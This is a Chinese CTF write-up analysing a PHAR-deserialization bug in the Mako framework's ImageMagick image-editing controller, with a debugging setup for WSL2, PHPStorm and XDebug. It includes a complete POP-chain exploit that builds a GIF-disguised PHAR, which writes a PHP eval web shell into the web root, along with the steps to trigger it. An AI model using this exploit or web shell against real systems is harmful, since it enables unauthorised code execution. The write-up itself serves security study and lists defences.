MTCTF2022决赛-Mako ImageMagick(基于wsl2+phpstorm+xdebug调试分析)
字数 1167 2025-08-06 18:07:44

MTCTF2022决赛-Mako ImageMagick漏洞分析与调试指南

0x01 漏洞背景分析

本漏洞是2022年美团CTF决赛中的一个Mako框架反序列化漏洞,涉及ImageMagick组件。通过WSL2+PHPStorm+XDebug环境进行调试分析。

0x02 漏洞代码分析

控制器源码分析

namespace app\controllers;

use mako\http\routing\Controller;
use mako\view\ViewFactory;
use mako\pixl\Image;
use mako\pixl\processors\ImageMagick;

class ImagesController extends Controller
{
    // 首页显示上传的图片
    public function home(ViewFactory $view): string {
        chdir('/var/www/mako/uploads');
        $fileNames = array_diff(scandir('.'), array('.', '..'));
        $images = [];
        foreach($fileNames as $index => $fileName) {
            $images[$fileName] = 'data:image/' . pathinfo($fileName, PATHINFO_EXTENSION) 
                . ';base64,' . base64_encode(file_get_contents($fileName));
        }
        $this->view->assign('images', $images);
        return $view->render('home');
    }

    // 文件上传功能
    public function upload() {
        chdir('/var/www/mako/uploads');
        $imageFile = $this->request->getFiles()->get('image');
        $fileName = $imageFile->getReportedFilename();
        $imageFile->moveTo($fileName);
        $this->response->getHeaders()->add('Location', '/');
    }

    // 图片编辑页面
    public function editGet(ViewFactory $view): string {
        chdir('/var/www/mako/uploads');
        $fileName = $this->request->getQuery()->get('filename');
        $image = new Image($fileName, new ImageMagick());
        $dimensions = $image->getDimensions();
        $this->view->assign('fileName', $fileName);
        $this->view->assign('dimensions', $dimensions);
        return $view->render('edit');
    }

    // 图片编辑处理
    public function editPost() {
        chdir('/var/www/mako/uploads');
        $post = $this->request->getPost();
        $fileName = $post->get('filename');
        $degrees = $post->get('degrees');
        $image = new Image($fileName, new ImageMagick());
        $image->rotate($degrees);
        $image->save();
        $this->response->getHeaders()->add('Location', '/');
    }
}

关键漏洞点

  1. editGet方法中new Image($fileName, new ImageMagick())会检查文件是否存在,存在PHAR反序列化入口
  2. 文件上传功能未做严格过滤,可上传恶意PHAR文件

0x03 环境搭建指南

WSL2环境配置

  1. 安装WSL2:

    # 官方Ubuntu 20.04安装包
    wsl --install -d Ubuntu-20.04
    
  2. 检测网络连接:

    # 宿主机查看WSL IP
    ipconfig
    # WSL中ping宿主机
    ping <宿主机IP>
    

PHP环境安装

sudo apt install software-properties-common
sudo add-apt-repository ppa:ondrej/php
sudo apt update
sudo apt install php7.4 php7.4-fpm php7.4-common php7.4-mysql php7.4-xml php7.4-curl php7.4-gd php7.4-imagick php7.4-cli php7.4-dev php7.4-imap php7.4-mbstring php7.4-opcache php7.4-soap php7.4-zip php7.4-xdebug

Nginx配置

  1. 安装Nginx:

    sudo apt install nginx
    
  2. 配置文件位置:/etc/nginx/sites-enabled/default

  3. 示例配置:

    server {
        listen 80;
        root /var/www/mako/public;
        index index.php;
        server_name mako;
    
        location / {
            try_files $uri $uri/ /index.php?$query_string;
        }
    
        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.4-fpm.sock;
        }
    }
    

XDebug配置

  1. 配置文件位置:/etc/php/7.4/cli/conf.d/20-xdebug.ini

  2. 配置内容:

    zend_extension=xdebug.so
    xdebug.mode = debug
    xdebug.client_host = "192.168.48.1"
    xdebug.client_port = 9003
    xdebug.idekey="PHPSTORM"
    
  3. 重启服务:

    service php7.4-fpm restart
    service nginx restart
    

0x04 PHPStorm调试配置

  1. 设置PHP CLI解释器路径
  2. 配置XDebug监听端口为9003
  3. 设置DBGP Proxy:
    • IDE Key: PHPSTORM
    • Host: WSL IP
    • Port: 9003
  4. 添加Servers配置:
    • 映射WSL项目路径
    • Host: localhost
  5. 创建Run Configuration
  6. 浏览器安装Xdebug Helper扩展

0x05 漏洞利用分析

反序列化链分析

完整利用链:

Session::__destruct -> 
Session::commit -> 
File::write -> 
File::isWritable -> 
File::sessionFile -> 
FileSystem::put -> 
file_put_contents

关键类分析

  1. Session类

    • __destruct方法触发commit
    • commit方法调用write
    • 可控参数:autoCommit, destroyed, sessionId, sessionData
  2. File类

    • 实现StoreInterface接口
    • write方法最终调用file_put_contents
    • 可控参数:fileSystem, sessionPath

EXP编写

<?php
namespace mako\session\stores{
    interface StoreInterface{}
}

namespace mako\file{
    class FileSystem{}
}

namespace mako\session\stores{
    use mako\file\FileSystem;
    class File implements StoreInterface{
        protected $fileSystem;
        protected $sessionPath="/var/www/mako/public";
        
        public function __construct(){
            $this->fileSystem=new FileSystem();
        }
    }
}

namespace mako\session{
    use mako\session\stores\File;
    class Session{
        protected $autoCommit=true;
        protected $destroyed = false;
        protected $store;
        protected $sessionId="shell.php";
        protected $sessionData = ["v1nd"=>'<?php eval($_POST[1]);?>'];
        
        public function __construct(){
            $this->store=new File();
        }
    }
}

namespace {
    use mako\session\Session;
    $object = new Session();
    $phar = new Phar('exp.phar');
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar->addFromString('test.txt','test');
    $phar->setMetadata($object);
    $phar->stopBuffering();
}

利用步骤

  1. 生成PHAR文件:

    php --define phar.readonly=0 exp.php
    
  2. 上传PHAR文件

  3. 访问editGet路由触发反序列化:

    http://target/edit?filename=phar://uploads/exp.phar
    

0x06 防御措施

  1. 禁用PHAR反序列化功能
  2. 严格过滤上传文件类型
  3. 更新框架到最新版本
  4. 使用finfo函数验证上传文件类型
  5. 限制上传文件目录的执行权限

0x07 总结

本漏洞利用Mako框架中Image类的文件操作功能,通过PHAR反序列化触发文件写入操作,最终实现任意代码执行。关键点在于:

  1. 找到file_exists等触发点
  2. 构造完整的POP链
  3. 生成恶意PHAR文件
  4. 通过文件上传+PHAR协议触发漏洞

调试过程中,WSL2+PHPStorm+XDebug环境提供了便利的调试手段,可以深入分析漏洞触发过程。

MTCTF2022决赛-Mako ImageMagick漏洞分析与调试指南 0x01 漏洞背景分析 本漏洞是2022年美团CTF决赛中的一个Mako框架反序列化漏洞,涉及ImageMagick组件。通过WSL2+PHPStorm+XDebug环境进行调试分析。 0x02 漏洞代码分析 控制器源码分析 关键漏洞点 editGet 方法中 new Image($fileName, new ImageMagick()) 会检查文件是否存在,存在PHAR反序列化入口 文件上传功能未做严格过滤,可上传恶意PHAR文件 0x03 环境搭建指南 WSL2环境配置 安装WSL2: 检测网络连接: PHP环境安装 Nginx配置 安装Nginx: 配置文件位置: /etc/nginx/sites-enabled/default 示例配置: XDebug配置 配置文件位置: /etc/php/7.4/cli/conf.d/20-xdebug.ini 配置内容: 重启服务: 0x04 PHPStorm调试配置 设置PHP CLI解释器路径 配置XDebug监听端口为9003 设置DBGP Proxy: IDE Key: PHPSTORM Host: WSL IP Port: 9003 添加Servers配置: 映射WSL项目路径 Host: localhost 创建Run Configuration 浏览器安装Xdebug Helper扩展 0x05 漏洞利用分析 反序列化链分析 完整利用链: 关键类分析 Session类 : __destruct 方法触发 commit commit 方法调用 write 可控参数: autoCommit , destroyed , sessionId , sessionData File类 : 实现 StoreInterface 接口 write 方法最终调用 file_put_contents 可控参数: fileSystem , sessionPath EXP编写 利用步骤 生成PHAR文件: 上传PHAR文件 访问 editGet 路由触发反序列化: 0x06 防御措施 禁用PHAR反序列化功能 严格过滤上传文件类型 更新框架到最新版本 使用 finfo 函数验证上传文件类型 限制上传文件目录的执行权限 0x07 总结 本漏洞利用Mako框架中Image类的文件操作功能,通过PHAR反序列化触发文件写入操作,最终实现任意代码执行。关键点在于: 找到 file_exists 等触发点 构造完整的POP链 生成恶意PHAR文件 通过文件上传+PHAR协议触发漏洞 调试过程中,WSL2+PHPStorm+XDebug环境提供了便利的调试手段,可以深入分析漏洞触发过程。